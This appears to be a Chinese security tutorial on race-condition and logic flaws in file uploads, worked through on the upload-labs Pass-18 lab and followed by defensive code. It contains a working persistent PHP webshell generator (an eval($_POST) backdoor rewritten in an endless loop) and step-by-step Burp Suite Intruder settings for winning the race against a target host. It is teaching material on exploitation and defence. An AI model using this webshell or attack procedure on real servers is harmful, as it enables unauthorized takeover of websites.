【高级利用】条件竞争与逻辑漏洞:与服务器赛跑的艺术
前言
在前面几期中,我们研究了黑白名单、文件头伪装以及服务器解析漏洞。开发者们为了应对这些攻击,提出了更严格的校验流程:
"先将用户上传的文件保存到临时目录,再进行全面的安全扫描,如果发现是恶意文件就立马把它删掉。"
这个看似万无一失的"先上传、后校验删除"逻辑,却给攻击者留下了致命的时间窗口!今天我们就来聊聊如何通过**条件竞争(Race Condition)**与服务器"赛跑",成功拿下 Webshell!

💡 1. 什么是条件竞争漏洞?
在多线程/并发处理的 Web 环境中,条件竞争(Race Condition)是指程序的运行结果取决于多个事件执行的相对时间顺序或时序。
当程序在处理业务逻辑时存在时间差,且未施加恰当的并发锁机制,攻击者就可以利用极高频率的并发请求,在系统清理/删除文件的"闪电空隙"间完成恶意代码的触发与驻留。
🔍 2. 条件竞争的底层逻辑与攻防时序
我们先来看一段看似极度安全、实则暗藏玄机的后端逻辑代码:
用户提交文件 ──► 1. 暂存至服务器 (/tmp/shell.php)
│
├──► 2. 进行安全检查 (扫描/校验格式)
│ │
│ ├──► [违规] ──► 3. 执行删除 (unlink)
│ │
│ └──► [合规] ──► 3. 移动到正式目录
▼
【关键时间差:文件存在于 /tmp/】
⏱️ 攻防赛跑时序图:
如果在"步骤 1(文件暂存)"到"步骤 3(检测出违规并删除)"之间存在 几毫秒甚至几十毫秒的时间差:
[攻击者线程 A] 上传 shell.php ──────────────────────────────────────────► [生成临时文件]
│
[攻击者线程 B] 疯狂请求访问 /tmp/shell.php ──► 抢在删除前访问成功! ──► 写入永久 Webshell!
│
[服务器处理线程] 读取文件 ──► 检测到违规 ───────────────────────────────────► [删除临时文件]
只要攻击者能在服务器删除文件之前的微小窗口期内成功访问到该文件,就能让脚本在后台执行!
🛠️ 3. 条件竞争实战(以 upload-labs Pass-18 为例)
❌ 存在漏洞的后端代码:
php
$allow_ext = array('png', 'jpg', 'gif');
$file_name = $_FILES['upload_file']['name'];
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
$upload_file = UPLOAD_PATH . '/' . $file_name;
// 1. 先将文件直接移动到上传目录!
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $upload_file)) {
// 2. 移动后再来检查后缀
if (in_array($file_ext, $allow_ext)) {
$img_path = UPLOAD_PATH . '/renamed_' . rand(100, 999) . '.' . $file_ext;
rename($upload_file, $img_path);
} else {
// 3. 后半句发现不合规,才执行 unlink 删除!
unlink($upload_file);
$msg = "文件后缀不合法,已被删除!";
}
}
🎨 战术设计:不死马(内存马)生成器
如果 webshell.php 只是被短暂访问了一下,随后的临时文件依然会被系统删除。为了实现"一劳永逸",我们的恶意脚本不能只是一句话木马,而应该是一个"内存生成器(不死马)"。
制作一个 spawn_shell.php,内容如下:
php
<?php
// 忽略客户端断开,防止脚本中断
ignore_user_abort(true);
set_time_limit(0);
// 在同级目录下,写出一个全新的、不受临时清理逻辑管控的永久 Webshell
$permanent_shell = 'shell.php';
$code = '<?php @eval($_POST["cmd"]); ?>';
while (1) {
file_put_contents($permanent_shell, $code);
usleep(1000); // 极短休眠后循环写入,防止被删除
}
?>
原理 :只要
spawn_shell.php被成功访问了一次 ,它就会在后台生成一个新的shell.php,即使原本的spawn_shell.php随后被服务器unlink()删除了,新的shell.php依然安然无恙!
🚀 Burp Suite 爆破并发实战步骤
要赢下这场"赛跑",我们需要同时开启两个并发线程:发包线程 与请求线程。
步骤一:配置发包器(不断上传 spawn_shell.php)
- 抓取上传
spawn_shell.php的 HTTP 请求数据包,发送至 Burp Suite 的 Intruder(攻击器)。 - 将攻击类型设置为 Null payloads(空载荷),设置循环发送 10000 次。
- 在 Resource Pool(资源池) 中将最大并发线程数(Concurrent requests)调到 20 ~ 50。
步骤二:配置访问器(不断请求 /upload/spawn_shell.php)
- 抓取一个访问
[http://target.com/upload/spawn_shell.php](http://target.com/upload/spawn_shell.php)的 GET 请求,同样发送至 Intruder。 - 设置相同的 Null payloads 循环 10000 次。
- 并发线程数同样调高。
步骤三:双管齐下,发动攻击
- 同时启动两个 Intruder 任务!
- 观察访问线程的响应状态码。在大多数 404(文件不存在)中,只要出现一次 200 OK,说明临时文件在删除前被精准命中并成功运行!
- 直接访问生成好的
[http://target.com/upload/shell.php](http://target.com/upload/shell.php),拿到永久控制权。
⚠️ 4. 常见的逻辑漏洞组合拳
除了条件竞争之外,业务代码逻辑不严谨还会引发以下几类高危漏洞:
1. 文件名覆盖漏洞(逻辑不互斥)
- 场景 :用户可以自定义上传后的文件名,且后端在保存时没有检查目标路径是否已存在同名文件。
- 危害 :攻击者可以上传一个恶意
.htaccess或配置文件,直接覆盖掉系统关键的配置文件。
2. 校验逻辑绕过(逻辑错位)
- 场景 :某些开发框架在接收文件时,使用了类似
if ($is_admin) { skip_check(); }的判断。若通过伪造参数让后端误以为是管理员,校验步骤就会被直接跳过。
3. 异步处理未加锁
- 场景:上传逻辑与安全检测逻辑运行在不同的异步微服务组件中。如果在微服务完成扫描并隔离之前,上传文件就已经返回了可公共访问的 URL 路径,攻击者就能利用此时间差直接调用。
🛡️ 5. 源代码剖析与正确防御方案
条件竞争漏洞的产生,本质是因为"安全动作的时序颠倒"。
❌ 错误设计:先落地,再校验,后清理
[客户端] ──上传──► [磁盘暂存] ──校验──► [若非法,删除]
✅ 正确设计:先校验,后落地,严禁公开临时路径
php
// 1. 获取临时文件路径(PHP 自动存储在系统非 Web 目录,如 /tmp,无法直接 HTTP 访问)
$tmp_location = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
$allow_ext = array('png', 'jpg', 'gif');
// 2. 严格在内存/临时目录中完成所有白名单与文件头校验
if (!in_array($file_ext, $allow_ext)) {
// 如果校验不通过,直接丢弃,根本不往 Web 可访问目录移动!
die("非法文件格式!");
}
// 3. 只有完全合规后,才强行重命名并移动到公开 Web 目录
$new_name = date("YmdHis") . rand(1000, 9999) . '.' . $file_ext;
$target_path = UPLOAD_PATH . '/' . $new_name;
move_uploaded_file($tmp_location, $target_path);
防御黄金准则:
- 不要将未校验的文件保存到 Web 可直接访问的目录下 (使用
/tmp等非 Web 根目录进行暂存)。 - 严禁在校验完成前将文件路径暴露给前端或客户端。
- 加锁或使用原子性操作:保证"校验"与"移动"是一个不可分割的原子过程。
📝 6. 本章总结卡片
| 漏洞类型 | 成因 | 关键利用方式 | 防御核心 |
|---|---|---|---|
| 条件竞争 | 文件"先暂存 Web 目录后校验删除",存在时间空白期 | 高并发上传 + 高并发访问 + "不死马"驻留 | 先在非 Web 目录完成校验,合规后再移入 |
| 逻辑覆盖 | 重命名算法可预测或允许自定义文件名,未判定文件覆盖 | 覆盖 .htaccess 或同名脚本文件 |
生成强随机文件名(如 UUID),阻止文件覆盖 |
| 异步暴露 | 异步检测机制未加排他锁,路径提前返回客户端 | 利用 API 返回的临时链接抢先触发 | 检测流程未结束前不返回任何物理路径 |